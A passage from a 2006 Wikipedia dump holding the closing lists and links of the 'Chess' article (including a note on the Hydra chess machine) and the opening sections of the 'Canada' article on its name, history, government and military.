The chess machine [[Hydra (chess)|Hydra]] is the intellectual descendant of Deep Blue; and appears to be somewhat stronger than Deep Blue was. Certainly it is very much comparable in terms of positions analysed per second. Given the relative ease with which it beats the other programs, and the humans it has met, Hydra may be expected to beat any unaided human player in match play. In June 2005, Hydra scored a decisive victory over the then [http://www.fide.com/ratings/toparc.phtml?cod=77 7th ranked] GM [[Michael Adams]] winning five games and drawing one game in a six game match. Whilst too few games have been played to establish this, and neither Kramnik or Kasparov have played Hydra, Hydra's creators estimate its [[ELO rating system|rating]] should be over 3000.

Kasparov's loss to Deep Blue has inspired the creation of [[chess variant]]s in which human intelligence can still overpower computer calculation. In particular [[Arimaa]], which is played upon a standard 8&amp;times;8 chessboard, is a game at which humans can beat the best efforts of programmers so far, even at fast [[time control]]s.

==See also==
*[[Chess terminology]]
*Chess [[Chess problem|problems]] and [[Chess puzzles|puzzles]]
*[[ELO rating system]]
*Administrative bodies:
**[[Fédération Internationale des Échecs|FIDE]]
**[[English Chess Federation]]
**[[International Correspondence Chess Federation]]
**[[New Zealand Chess Federation]]
**[[United States Chess Federation]]
*[[Chess symbols in Unicode]]
*[[Chess and mathematics]]
*[[Chess-related deaths]]
*[[List of chess players]]
*[[List of chess topics]]
*[[List of national chess championships]]

===Famous chess games===
*[[Thomas_Bowdler#Chess|Bowdler - Conway, London, 1788]], the first example of the famous double rook sacrifice;
*[[Immortal game|The immortal game]] between [[Adolf Anderssen]] and [[Lionel Kieseritzky]] (1851);
*[[Evergreen game|The evergreen game]] between [[Adolf Anderssen]] and [[Jean Dufresne]] (1852);
*[[Opera game (chess)|The opera game]] between [[Paul Morphy]] and two allies, the Duke of Brunswick and Count Isouard (1858);
*[[Lasker - Bauer, Amsterdam, 1889]], the first example of the famous double bishop sacrifice;
*[[The Game of the Century]] between [[Bobby Fischer]] and [[Donald Byrne]] (1956);
*[[Match of the Century|The Match of the Century]] between [[Bobby Fischer]] and [[Boris Spassky]] (1972);
*[[Deep Blue - Kasparov, 1996, Game 1]], the first game in which a [[Computer chess|chess-playing computer]] defeated a reigning world champion using normal time controls (1996);
*[[Deep Blue - Kasparov, 1997, Game 6]], the last game of the 1997 rematch, which [[Deep Blue]] won, making it the first computer to defeat a world champion in a match over several games;
*[[Kasparov versus The World]], in which the reigning world champion played, via the Internet, against the entire rest of the world in consultation (1999);
* [[Garry_Kasparov#Sample_games | Kasparov - Topalov, Wijk aan Zee, 1999]], rook sacrifice with a 15+ moves forced sacrificial combination. One of the most commented chess games ever, with extensive press coverage.

===History of chess===
*[[Timeline of chess]]
*[[Greatest chess player of all time]]
*[[Chess in Europe]]
*[[Chess During World War II]]
*[[Chess Olympiad]]
*[[World records in chess]]

===Chess literature===
*[[Chess columns in newspapers]]
*[[Chess libraries]]
*[[Collections of Chess Games]]
*[[Opening book|Opening Manuals]]

===Chess in the arts and literature===
[[Image:Honoré Daumier 032.jpg|thumb|right|300px|[[Honoré Daumier]], ''Chess players'', 1863.]]
*''[[Through the Looking-Glass]]'' by [[Lewis Carroll]]
*''[[The Knights of the South Bronx]]''
*''[[Searching for Bobby Fischer]]''
*''[[The Luzhin Defence]]''
*''[[The Royal Game]]'' by [[Stefan Zweig]]
*[[Chess and music]]
*''[[Checkmate (Ballet)|Checkmate]]'', a ballet by the composer [[Arthur Bliss]]
*The [[Lewis chessmen]] also inspired [[Noggin the Nog]].
*[[Knight Moves]]
*[[Twin Peaks]]
*[[The Seventh Seal]]
*[[The Shawshank Redemption]]
* &quot;Wizards Chess&quot; in the [[Harry Potter]] book and film series.
*''[[Chess (musical)|Chess]]'', a musical by [[Tim Rice]] and [[ABBA]]
*''The Eight'' by Katherine Neville (1998)
*''The Flanders Panel'' by [[Arturo Perez-Reverte]]
*''The Tower Struck By Lightning'' by [[Fernando Arrabal]]
*''[[Fresh]]'', a 1994 film
*''[[All the King's Horses]]'', a short story by [[Kurt Vonnegut]] from 'Welcome to the Monkey House.'
*''Striding Folly'', a short story by [[Dorothy L. Sayers]] (1939)

==References==
*{{cite book | author=Hooper, David and [[Kenneth Whyld|Whyld, Kenneth]] | title=The Oxford Companion to Chess, 2nd Edition | publisher=[[Oxford University Press]] | year=1992 | id=ISBN 0198661649}}
**Reprint: (1996) ISBN 0192800493
*{{cite book | author=[[James Mason|Mason, James]] | title=The Art of Chess| publisher=[[Dover Publications]] | year=1947| id=ISBN 486204634}} (see the included supplement, &quot;How Do You Play Chess&quot;)
*{{cite book | author=[[James Rizzitano|Rizzitano, James]] | title=Understanding Your Chess | publisher=Gambit Publications | year=2004 | id=ISBN 1904600077}}
*{{cite book | author=[[Siegbert Tarrasch|Tarrasch, Siegbert]] | title=The Game of Chess. Algebraic Edition | publisher=Hays Publishing | year=1994 | id=ISBN 1880673940}}
*{{cite book | author=[[Patrick Wolff|Wolff, Patrick]] | title=The Complete Idiot's Guide to Chess, 3rd Edition | publisher=Alpha Books | year=1991 | id=ISBN 1592573169}}

==External links==
{{sisterlinks|Chess}}

===Learning chess===
* [http://www.chesscorner.com/tutorial/learn.htm Beginners chess tutorial] - rules of chess, notation, simple mating patterns.
* [http://www.fide.com/official/handbook.asp?level=EE101 Official FIDE rules]
* [http://www.chessclub.com/chessfm/ Chess.FM] - annotated grandmaster games and tutorials

===Chess news===
* [http://www.chessbase.com/ Chessbase news]
* [http://www.chessville.com/ Chessville]
* [http://www.chesscenter.com/twic/twic.html The week in chess]

===Internet servers to play chess===
* [http://www.jimmyr.com/online_chess.php Comparison of chess servers] - list of  most popular real time chess servers.
* [http://www.angelfire.com/poetry/wulebgr/corr.htm Comparison of chess servers] - list of  most popular web based correspondence chess servers.
* [http://www.freechess.org/ Free internet chess server] ([[FICS]]) with over 150,000 registered users, is one of the oldest and one of the largest non-commercial internet chess servers.
* [http://www.chessclub.com/ Internet Chess Club] - commercial chess server with 30,000 members, many grandmasters play there.
* [http://www.playchess.com/ Playchess.com] - one of the largest commercial chess servers with more then 3000 players online each night.
* [http://www.instantchess.com InstantChess.com] - Free and fast Chess online with Java applet
* [http://www.chesshere.com ChessHere.com] - free turn-based and real-time chess server.
* [http://brainking.com BrainKing.com] - turn-based chess server, which besides chess allows to play a lot of chess variants.
* [http://www.gameknot.com/ GameKnot.com] - turn-based chess server
* [http://www.chessworld.net/ Chessworld.net] - turn-based chess server with many annotated games
* [http://www.chessmaniac.com/ ChessManiac.com] - hybrid chess playing server.
* [http://www.chessontheweb.com/chess/home Chess On The Web] - Correspondence Chess Server
* [http://www.highergames.com HigherGames] - free turn-based chess server with voice chat.
* [http://www.linuxuser.at/chess linuxuser.at] - ajax multiplayer chess (no reg; no login)

===Collections of games===
* [http://www.chessgames.com/ ChessGames.com] - online chess database and community
* [http://www.chesslive.de/ ChessBase online database] - games are filtered by year, player, opening, etc..
* [http://www.chesslab.com/PositionSearch.html Chesslab.com] - search by opening, player, results, position etc.
* [http://www.chessgameslinks.lars-balzer.info/ Chess games links] - collection of links to chess games, which can be downloaded for free
* [http://www.pitt.edu/~schach/Archives/index2.html University of Pittsburgh Chess Page] - medium pgn collection including world championship games, miniatures, and traps

===Free chess software===
* [http://www.enpassant.dk/chess/softeng.htm Chess programs &amp; utilities] - large collection of links to all sorts of chess software
* [http://www.playwitharena.com/ Arena] - free chess GUI, includes free chess engines.
* [http://www.tim-mann.org/chess.html Winboard] - another chess GUI
* [http://www.chessbase.com/download/index.asp?cat=ChessBase+Light ChessBase Light] - older version of [[Chessbase]], which allows to view games in CBH and PGN format.
* [http://www.aarontay.per.sg/Winboard/ Aaron's chess engines FAQ]
* [http://jose-chess.sourceforge.net/ Jose Chess]
* [http://www.gamesbyscott.com/games.htm ShaagChess]
* [http://www.chessopolis.com/cchess.htm Chessopolis] - freeware chess engines
* [http://www.bapuli.co.nr/chess.htm Easy Chess] - freeware to play chess with the computer
* [http://www.compwebchess.com CompWebChess] - open source application, which allows to start own chess sever.

===Other chess topics===
* [http://www.chessvariants.org The chess variants pages]
* [http://www.boardgamegeek.com/metasearch.php?searchtype=game&amp;search=chess Games with the word &quot;chess&quot; in the title]
* [http://www.xs4all.nl/~timkr/chess/chess.html Chess curiosities] by Tim Krabbé
* [http://www.geocities.com/SiliconValley/Lab/7378/chess.htm Bill Wall's chess page]
* [http://www.edcollins.com/chess Ed Collins's chess page] - essays, problems, cartoons, limericks, games, photos, puzzles, etc.
* [http://s6.invisionfree.com/ChessResources_Forum Chess Resources Forum] a forum all about chess
* [http://www.freedigitalphotos.net/thumbnails.php?album=222 Images of chess boards and pieces]


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[[Category:Chess| ]]
[[Category:Etymology|Persian]]
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[[af:Skaak]]
[[ar:شطرنج]]
[[bg:Шахмат]]
[[bn:দাবা]]
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[[fr:Jeu d'échecs]]
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[[ka:ჭადრაკი]]
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[[lb:Schach]]
[[hu:Sakk]]
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[[ja:チェス]]
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[[pl:Szachy międzynarodowe]]
[[pt:Xadrez]]
[[ro:Şah (joc)]]
[[ru:Шахматы]]
[[simple:Chess]]
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[[sk:Šach (hra)]]
[[sl:Šah]]
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[[fi:Shakki]]
[[sv:Schack]]
[[ta:செஸ்]]
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[[zh:國際象棋]]</text>
    </revision>
  </page>
  <page>
    <title>Canada</title>
    <id>5135</id>
    <revision>
      <id>42140776</id>
      <timestamp>2006-03-04T02:16:22Z</timestamp>
      <contributor>
        <username>Prodego</username>
        <id>451766</id>
      </contributor>
      <comment>Revert to revision 42086094 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">&lt;!--{{editnote | Before you edit this article to change the name of the country to &quot;Dominion of Canada&quot; or &quot;Canadian Federation&quot; or anything else, please read the Talk Page. This issue has been discussed at great length there, and the evidence provided indicates that the country's *legal* name is &quot;Canada&quot;, not anything else. If you believe you have arguments or evidence to the contrary, please provide them on the talk page, and wait until the consensus changes before making the edit. Thank you!}}
{{editnote | Please use Canadian spelling. :)}}
{{editnote | Notice: This overview article is already too long and should serve only as an introduction for Canada. To keep this overview article concise, please consider adding information instead to one of the many &quot;main&quot; articles about Canada linked from this article, e.g., [[Politics of Canada]], [[Geography of Canada]], etc. Thank you.}}--&gt;{{Infobox Country |&lt;!-- If editing infobox, please update [[Template:Country infobox data Canada]] also --&gt;
native_name = Canada |
common_name = Canada |
image_flag = Flag_of_Canada.svg |
image_coat = Bigcancoat.png |
national_motto = (in [[Latin]]) ''A Mari Usque Ad Mare''&lt;br&gt;(From Sea to Sea) |
national_anthem = [[O Canada]]&lt;br&gt;([[Royal anthem]]: [[God Save the Queen]]) |
image_map = LocationCanada.png |
capital = [[Ottawa]] |latd=45|latm=24|latNS=N|longd=75|longm=40|longEW=W|
name = Formal Name:Canada &lt;br&gt;Common Name:Canada |
largest_city = [[Toronto]] |
official_languages = [[Canadian English|English]] and [[Canadian French|French]] |
government_type = &lt;small&gt;[[Federation|Federal]] [[parliamentary democracy]]&lt;br&gt;and [[constitutional monarchy]]&lt;/small&gt;|
leader_titles = &lt;br&gt;[[Monarchy in Canada|Monarch]]&lt;br&gt;[[Governor General of Canada|Governor General]]&lt;br&gt;[[Prime Minister of Canada|Prime Minister]]&lt;br&gt;|

leader_names = [[Elizabeth II of Canada|Elizabeth II]]&lt;br&gt;[[Michaëlle Jean]]&lt;br&gt;[[Stephen Harper]]|
sovereignty_type = [[History of Canada|Independence]] |
established_events = &amp;nbsp;- [[British North America Act|BNA Act]]&lt;br&gt;&amp;nbsp;- [[Statute of Westminster 1931|Statute of Westminster]]&lt;br&gt;&amp;nbsp;- [[Canada Act 1982|Canada Act]]|
established_dates = From the [[United Kingdom]]&lt;br&gt;[[July 1]], [[1867]]&lt;br&gt;[[December 11]], [[1931]]&lt;br&gt;[[April 17]], [[1982]] |
area = 9,984,670 |
areami²= 3,855,103 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
area_rank = 2nd |
area_magnitude = 1 E12 |
percent_water = 8.92  (891,163 km²) |
population_estimate = 32.4 million |
population_estimate_year = 2006 |
population_estimate_rank = 37th |
population_census = 30,007,094 |
population_census_year = 2001|
population_density = 3.3 |
population_densitymi² = 8.5 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank = 185th |
GDP_PPP_year = 2005 |
GDP_PPP = $1.077 trillion |
GDP_PPP_rank = 11th |
GDP_PPP_per_capita = $32,800 |
GDP_PPP_per_capita_rank = 16th |
HDI_year = 2003 |
HDI = 0.949 |
HDI_rank = 5th |
HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt; |
currency = [[Canadian dollar]] ($) |
currency_code = CAD |
time_zone = |
utc_offset = -3.5 to -8 |
time_zone_DST = |
utc_offset_DST = -2.5 to -7 |
cctld = [[.ca]] |
calling_code = 1 |
footnotes =  |}}
{{otheruses}}
'''Canada''' is a [[country]] occupying the northern portion of [[North America]], and is the world's [[List of countries by area|second largest]] country in total area.

Inhabited exclusively for several millennia by [[Aboriginal peoples in Canada|aboriginal peoples]], Canada was founded as a union of [[British colony|British colonies]], some of which had earlier been [[French colonial empire|French colonies]].  A [[federation|federal]] [[dominion]] of ten [[Provinces and territories of Canada|provinces]] with three [[Provinces and territories of Canada#Territories of Canada|territories]], Canada peacefully obtained its sovereignty in a process beginning in 1867 from its last colonial possessor, the [[United Kingdom]], and ending in 1982 with the patriation of its constitution from the UK.

Canada is governed as a [[parliamentary democracy]] and [[constitutional monarchy]]. Canada's [[head of state]] is its [[Monarchy in Canada|monarch]], who is represented in Canada by the [[Governor General of Canada|Governor General]].  The head of government is the [[Prime Minister of Canada|Prime Minister]]. 

Canada defines itself as a [[Bilingualism in Canada|bilingual]] and [[multiculturalism|multicultural]] nation. Both [[Canadian English|English]] and [[Canadian French|French]] are official languages of the country. In the early [[1970s]], Canada began to adopt policies based on the concepts of cultural diversity and multiculturalism.  Many Canadians now view this as one of the country's key attributes.

A technologically advanced and industrialized nation, Canada is a net exporter of energy because of its large fossil fuel deposits, [[nuclear energy]] generation, and [[hydroelectric power]] capacity. Its diversified [[Economy of Canada|economy]] relies heavily on an abundance of natural resources and trade, particularly with the [[United States]], with which Canada has had a long and complex relationship, one which can arguably be described as the strongest trade partnership in history.

==Canada's name==
{{main|Canada's name}}  
The name ''Canada'' is believed to come from the [[Wyandot|Huron]]-[[Iroquoian languages|Iroquois]] word ''kanata'', which means &quot;village&quot; or &quot;settlement&quot;. In 1535, locals used the word to tell [[Jacques Cartier]] the way to [[Stadacona]], site of present-day Quebec City. Cartier used Canada to refer not only to Stadacona, but also to the entire area subject to Donnacona, Chief at Stadacona; by 1547, maps began referring to this and the surrounding area as Canada.

==History==
{{Canadian History box}}
:''Main articles: [[History of Canada]], [[Timeline of Canadian history]]''

===Prehistory===
Aboriginal tradition holds that the [[Aboriginal peoples in Canada|First Peoples]] have inhabited parts of what is now called Canada since the dawn of time. Archaeological records show that these lands have been inhabited for at least 10,000 years. Several [[Viking]] expeditions occurred circa AD 1000, with evidence of settlement at [[L'Anse aux Meadows]].

===European settlement===
{{cleanup-section}}
British claims to North America date from 1497, when [[John Cabot]] reached what he called ''Newfoundland'', though it is unclear whether Cabot landed in current [[Newfoundland]], [[Nova Scotia]], or [[Maine]]. French claims date from explorations by [[Jacques Cartier]] (from 1534) and [[Samuel de Champlain]] (from 1603). Neither Cabot's nor Cartier's explorations left any permanent settlers behind. On [[August 5]], [[1583]], Sir [[Humphrey Gilbert]] claimed [[Newfoundland]] as [[England]]'s first overseas colony under [[Royal Charter]] of [[Queen Elizabeth I]].  In 1604, French settlers were the first Europeans to settle permanently in what is now Canada.  After an unsuccessful winter in St. Croix Island (today in Maine), they settled Port-Royal in what is now the [[Annapolis Valley]] in Nova Scotia, but moved to found [[Quebec City]] in 1608.  The current [[Acadians]] are descendants of settlers who came later in the same century and re-founded Port-Royal.  [[New France]] was generally the name given to the French colonies of Canada and Acadia (and later [[Louisiana]]).[[Image:Death-wolfe.jpg|thumb|right|300px|''[[The Death of General Wolfe]]'', painted by [[Benjamin West]], depicts British [[James Wolfe|General Wolfe]]'s final moments during the [[Battle of the Plains of Abraham]] in 1759.]]

[[British colonization of the Americas|British settlements]] were established along the [[East Coast of the United States|Atlantic seaboard]] and around [[Hudson Bay]]. As these colonies expanded, a struggle for control of North America took place between 1689 and 1763 (see [[French and Indian Wars]]), exacerbated by wars in Europe between France and [[Kingdom of Great Britain|Great Britain]].  [[France]] progressively lost territory to [[Kingdom of Great Britain|Great Britain]], surrendering peninsular [[Nova Scotia]] in the 1713 [[Treaty of Utrecht]] and the remainder of [[New France]], including what was left of [[Acadia]], in the [[Treaty of Paris (1763)]].

===British control===
During and after the [[American Revolution]] approximately 70,000 [[Loyalists]] fled the [[Thirteen Colonies]]. {{ref|UEL1}}  Of these, roughly 50,000 [[United Empire Loyalists]] settled in the [[British North America|British North American]] colonies which then consisted of [[Newfoundland]], [[Nova Scotia]], the [[Province of Quebec (1763-1791)|Province of Quebec]], and [[Prince Edward Island]] (created 1769). {{ref|UEL}} To accommodate the Loyalists, Britain created the colony of [[New Brunswick]] in 1784 from part of Nova Scotia, and divided Quebec and Ontario into [[Lower Canada]] and [[Upper Canada]] under the [[Constitutional Act of 1791]].

The [[War of 1812]] began when the U.S. attacked British forces in Canada in an attempt to end British influence in North America (and particularly, the British seizures of American merchant ships in the Atlantic). In April 1813, U.S. forces burned [[Battle of York|York]] (now [[Toronto]]). The British retaliated with the [[burning of Washington]] (DC) in a surprise attack in August 1814, resulting in the destruction of the President's residence, which was later rebuilt and painted white. The [[Treaty of Ghent]], signed in December 1814, ended the war with no land lost. It was only after the French and Napoleonic wars ended in Europe that large-scale [[immigration]] to Canada resumed from the [[United Kingdom of Great Britain and Ireland|United Kingdom]] and Europe.

[[The Canadas]] were merged into a single colony, the [[United Province of Canada]], with the [[Act of Union (1840)]] in an attempt to assimilate the French Canadians. Once the U.S. agreed to the [[49th parallel north]] as its border with western British North America, the British government created the colonies of [[British Columbia]] in 1848 and [[Vancouver Island]] in 1849. By the late 1850s, politicians in the Province of Canada had launched a series of western exploratory expeditions with the intention of assuming control of [[Rupert's Land]] (administered by the [[Hudson's Bay Company]]) and the [[Arctic]].

===Confederation===
[[Image:Johnamacdonald1870.jpg|thumb|left|The Right Honourable Sir [[John A. Macdonald]], First [[Prime Minister of Canada|Prime Minister]].]]In 1864 and 1866, British North American politicians, in what became known as the [[Great Coalition]], held three conferences to create a federal union. Spearheaded by [[John A. Macdonald]], on [[July 1]], [[1867]], three colonies&amp;mdash;Canada, Nova Scotia, and New Brunswick&amp;mdash;were granted a [[constitution]], the [[Constitution Act, 1867|British North America Act]], by the United Kingdom, creating the dominion of Canada.  The term &quot;[[Canadian Confederation]]&quot; refers to this 1867 unification of the provinces of Nova Scotia, New Brunswick, and Canada (formerly comprising Canada East or Lower Canada, and Canada West or Upper Canada). The remaining British colonies and territories soon [[Canadian Confederation#Joining Confederation|joined Confederation]].  By 1880 Canada  included all of its present area except for [[Newfoundland and Labrador]] (which would join in 1949). The vast area outside of the 7 provinces then existing formed the [[Northwest Territories]], but over the years much of it would be transferred to three existing provinces, two new ones ([[Alberta]] and [[Saskatchewan]], 1905), and two new territories ([[Yukon]], 1898; [[Nunavut]], 1999).

[[Image:Canadian Red Ensign.svg|thumb|155px|Canadian [[Red Ensign]], former flag of Canada (1957-65 version shown)]]
In 1919, Canada became a member of the [[League of Nations]] and, in the [[Imperial Conference]] of 1926, Canada assumed full control of its own affairs through the [[Balfour Declaration 1926|Balfour Declaration]]. In 1927, Canada appointed its first [[ambassador]] to a foreign country, the [[United States]]. In 1931, the [[Statute of Westminster 1931|Statute of Westminster]] gave the [[Balfour Declaration 1926|Balfour Declaration]] constitutional force, confirming that no act of the UK's parliament would thereafter extend to Canada without its consent.
Canadian [[citizenship]] was first distinguished from British in 1947; judicial appeals to the British [[Judicial Committee of the Privy Council]] ended in 1949. The power to amend Canada's [[constitution of Canada|constitution]] remained with the British parliament, although subject to the Statute of Westminster, until it was &quot;patriated&quot; to Canadian control by the [[Canada Act 1982]].

===Quebec sovereignty movement ===
The [[Quebec sovereignty movement]] has led to two [[referendum|referendums]] held in 1980 and 1995, with votes of 59.6% and 50.6% respectively against its proposals for [[sovereignty-association]]. In 1997, the [[Supreme Court of Canada]] ruled unilateral secession by a province to be [[unconstitutional]]. Since then, the question of &quot;national unity&quot; has been raised in federal elections, in particular, the [[Canadian federal election, 2004|2004]] and [[Canadian federal election, 2006|2006 federal elections]]. 

The cornerstone of the ideology for a sovereign Quebec was a strong impetus for the [[October Crisis]] and the need to counter Quebec sovereignty through a &quot;[[sponsorship]] program&quot; engendered under the administration of former Prime Minister [[Jean Chretien]]. See [[sponsorship scandal]] for more details.

==Government==
{{main|Politics of Canada}}
[[Image:Canada Parliament2.jpg|thumb|right|200px|[[Parliament Hill]], [[Ottawa]], [[Ontario]].]]
Canada is a [[constitutional monarchy]] and a [[parliamentary democracy]] with a [[federation|federal system]] of [[Parliament|parliamentary government]], and strong [[Democracy|democratic]] traditions. The [[political system]] under which Canada operates is a [[Westminster system]] derived from the [[United Kingdom]].  

[[Constitution of Canada|Canada's constitution]] governs the legal framework of the country and consists of [http://lois.justice.gc.ca/en/const/index.html written text] and unwritten traditions and conventions. The federal government and the governments of nine provinces agreed to the [[Constitutional history of Canada|patriation of the constitution]], with procedures for amending it, at a meeting of First Ministers in November 1981. The Quebec government did not agree to the changes, and Quebec nationalists refer to that date as the [[Night of the Long Knives (1981)|Night of the Long Knives]]. 

The patriation of the Constitution included the adoption of the [[Canadian Charter of Rights and Freedoms]], which guarantees basic rights and freedoms for Canadians that, generally, cannot be overridden by legislation of any level of government in Canada. It contains, however, a &quot;[[Section Thirty-three of the Canadian Charter of Rights and Freedoms|notwithstanding clause]]&quot;, which allows the federal parliament and the provincial legislatures the power to override other sections of the Charter temporarily, for a period of five years.

===The Monarch===
{{main|Monarchy in Canada}}
[[Image:Queen of canada wob.jpg|thumb|left|150px|Queen Elizabeth II, [[Monarchy in Canada|Queen of Canada]].]]

Canada is a [[constitutional monarchy]] and a [[Commonwealth Realm]] that formally recognizes [[Elizabeth II of the United Kingdom|Elizabeth II]] as Queen of Canada. {{ref|GG1}} Though the [[United Kingdom]] and Canada share the same Monarch, the Queen of the United Kingdom is a legally separate role from the Queen of Canada.

The role of the sovereign which on paper seems to be all-encompassing, is contrasted with the reality that the Queen is bound by convention to very rarely exercise her powers, and is thus largely a ceremonial figurehead. Instead the great majority of the Monarch's power, prerogatives, and duties are performed on a day-to-day basis by the Governor-General - at the federal level - by the Lieutenant-Governors at the provincial level. While her formal political role has diminished, and the Governor-General has taken on more of the Head-of-State functions, the Monarch is still the consitutional head of Canada. In that capacity, all government business, all laws, all elections, etc., are done or proclaimed in the Sovereign's name. {{ref|forsey1}}

The current Queen, Queen Elizabeth II, has reigned as Canada's sovereign since her ascension on [[February 6]], [[1952]], and she has been a far more visible Monarch than any in the past, visiting Canada 21 times as Queen (and once as a Princess), more than any other Commonwealth Realm except the UK itself. {{ref|Her1}}

===Governor General===
[[Image:JeanSmile.jpg|thumb|right|150px|[[Michaëlle Jean]], [[Governor General of Canada|Governor General]].]]
{{main|Governor General of Canada}}
While Queen Elizabeth II is currently Canada's [[sovereign]], the Queen's representative in Canada and ''de facto'' [[head of state]] is the [[Governor General of Canada|Governor General]]. The Governor General is generally a retired politician, military leader, or other notable Canadian; the current Governor General is Her Excellency, the Right Honourable [[Michaëlle Jean]]. [http://news.gc.ca/cfmx/view/en/index.jsp?articleid=162519] 

The Governor General is formally appointed by the Queen on the advice of the [[Prime Minister of Canada]] and is a non-partisan figure who fulfills many ceremonial and symbolic roles including providing [[Royal Assent]] to [[Bill (proposed law)|bills]], reading the [[Speech from the Throne]], officially welcoming dignitaries of foreign countries, presenting honours such as the [[Order of Canada]], signing state documents, formally opening and ending sessions of Parliament, and [[dissolution of parliament|dissolving Parliament]] for an election. The Governor General is also the titular [[Commander in Chief|Commander-in-Chief]] of the Canadian Armed Forces, though, this is only a symbolic role as all actions are done at the request of the prime minister and are never disobeyed. The position of Governor General also beholds considerable reserve powers, but these have been rarely used. The Governor General also heads the [[Canadian Heraldic Authority]].

===Executive branch===
[[Image:Harpes.jpg|thumb|left|150px|[[Stephen Harper]], [[Prime Minister of Canada|Prime Minister]].]]
The position of [[Prime Minister of Canada|Prime Minister]], Canada's [[head of government]], in practice, belongs to the leader of the political party who can command a majority in the [[Canadian House of Commons|House of Commons]]. The Prime Minister and his or her cabinet are formally appointed by the Governor General. However, the Prime Minister effectively chooses the cabinet and the Governor General always, by convention, respects the Prime Minister's desired choices. The [[Cabinet of Canada|Cabinet]] is traditionally drawn from members of the prime minister's party in both legislative houses, though mostly from the Commons. Executive power is exercised by the prime minister and cabinet, all of whom are sworn into the [[Privy Council of Canada]] and become ministers of the Crown. The Prime Minister exercises a great deal of individual political power, especially in terms of the appointment of other officials within the government and [[civil service]]. [[Stephen Harper]], a [[Conservative Party of Canada|Conservative]], has served as Prime Minister since [[February 6]], [[2006]].

===Legislative branch===
The legislative branch of government has two houses: the elected House of Commons and the appointed [[Canadian Senate|Senate]].  Each member in the Commons is elected by [[plurality electoral system|simple plurality]] in one [[electoral district (Canada)|electoral district]] or &quot;riding&quot;; general elections are called by the Governor General when the prime minister so advises, and must occur every five years or less. Members of the Senate, whose seats are apportioned on a regional basis, are chosen by the prime minister and formally appointed by the Governor General, and serve until age 75.

====Federal political parties====
Canada has four main political parties today. The traditionally centrist / left-of-centre [[Liberal Party of Canada]] formed the government in Canada for most of the 20th century.

The only other parties to have formed a government have been incarnations of a centrist / right-of-centre conservative party.  The current government consists of the [[Conservative Party of Canada]], which was formed in 2003 by merging the [[Progressive Conservative Party of Canada|Progressive Conservative (PC) Party]], and the [[Canadian Alliance]].  The Progressive Conservative party has formed governments in the past, as did its predecessor, the [[Conservative Party of Canada (historical)|Conservative Party]], which was the dominant political party in the 19th century.  A single-term [[Unionist Party (Canada)|'Unionist' Party]] of [[Robert Borden]] was formed as a union of Conservatives and conscription-supporting Liberals during [[World War I]].

The [[New Democratic Party]] (NDP) is the major party furthest to the political left and espouses [[social democratic]] policies. The [[Bloc Québécois]] promotes [[Quebec independence]] from Canada and currently holds a majority of Quebec's seats in the House of Commons. There are many smaller parties and, while none have current representation in Parliament, the list of [[List of political parties in Canada#Historical parties that won seats in Parliament|historical parties with elected representation]] is substantial.

===Judicial branch===
[[Image:Supreme Court of Canada.jpg|thumb|left|The [[Supreme Court of Canada]] in Ottawa, beside Parliament Hill]]
Canada's [[judiciary]] plays an important role in interpreting laws and has the power to strike down laws that violate the constitution.  The [[Supreme Court of Canada]] is the highest court and final arbiter; its nine members are directly appointed by Cabinet.  All judges at the superior and appellate levels are selected and appointed by the federal government, after consultation with non-governmental legal bodies.  The federal cabinet also appoints justices to superior courts at the provincial and territorial levels.  Judicial posts at the lower provincial and territorial levels are filled by their respective governments (see [[Court system of Canada]] for more detail).

[[Common law]] prevails everywhere except in Quebec, where [[civil law (legal system)|civil law]] predominates. Criminal law is solely a federal responsibility and is uniform throughout Canada. Law enforcement, including criminal courts, is a provincial responsibility, but in most provinces policing is contracted to the [[Royal Canadian Mounted Police]] (RCMP).

===Foreign relations===
[[Image:Lesterbpearson.PNG|thumb|rightt|150px|Prime Minister [[Lester B. Pearson]] was the father of Canadian [[peacekeeping]] efforts for which he won the [[Nobel Peace Prize]].]]
{{main|Foreign relations of Canada}}
Canada has a close [[U.S.-Canada relations|relationship with the United States]], sharing the world's longest undefended border, co-operating on some military campaigns and exercises, and being each other's largest trading partners. Canada also shares a history and long relationship with the [[United Kingdom]] as its &quot;mother country.&quot;

In the last century, Canada has been an advocate for [[multilateralism]], making efforts to reach out to the rest of the world and promoting itself as a &quot;[[middle power]]&quot; able to work with large and small nations alike.  This was clearly demonstrated during the [[Suez Crisis]] when [[Lester B. Pearson]] mollified the tension by proposing [[peacekeeping]] efforts and the inception of the [[UN peacekeeping|United Nations Peacekeeping Force]]. In that spirit, Canada developed and has tried to maintain a leading role in [[peacekeeping|UN peacekeeping efforts]]. Canada has cumulatively contributed more troops to peacekeeping operations worldwide than all other nations combined and currently serves in over 40 different peacekeeping missions, most recently in [[Afghanistan]].

===Military===
[[Image:Canadian Forces emblem.svg|thumb|right|175px|Badge of the Canadian Forces.]]
:''Main articles: [[Canadian Armed Forces]],[[Military history of Canada]]''
A founding member of the [[North Atlantic Treaty Organization]] (NATO), Canada currently employs about 62,000 regular and 26,000 reserve military personnel.[http://www.forces.gc.ca/site/about/family_e.asp] The unified [[Canadian Armed Forces|Canadian Forces]] (CF) comprise the [[Canadian Forces Land Force Command|army]], [[Canadian Forces Maritime Command|navy]], and [[Canadian Forces Air Command|air force]].  Major CF equipment deployed includes 2,400 armoured fighting vehicles, 34 combat vessels, and 140 combat aircraft. 

Canadian forces have served in various wars including the [[Second Boer War]], [[World War I]], [[World War II]], the [[Korean War]] and recently, in [[U.S. invasion of Afghanistan|Afghanistan]].  Since [[Lester B. Pearson]] proposed the first [[United Nations|UN]] peacekeeping force in 1956, the Canadian Forces have served in 42 [[peacekeeping|peacekeeping missions]] &amp;mdash; more than any other country.  Battles significantly contributing to Canada's development and self-identity include the [[Battle of Vimy Ridge]], the [[Second Battle of Ypres]], the [[Third Battle of Ypres]], and [[Juno Beach]]. At the end of World War II, Canada was the fourth strongest military power in the world, behind the [[United States]], the [[United Kingdom]] and the former [[Soviet Union]].

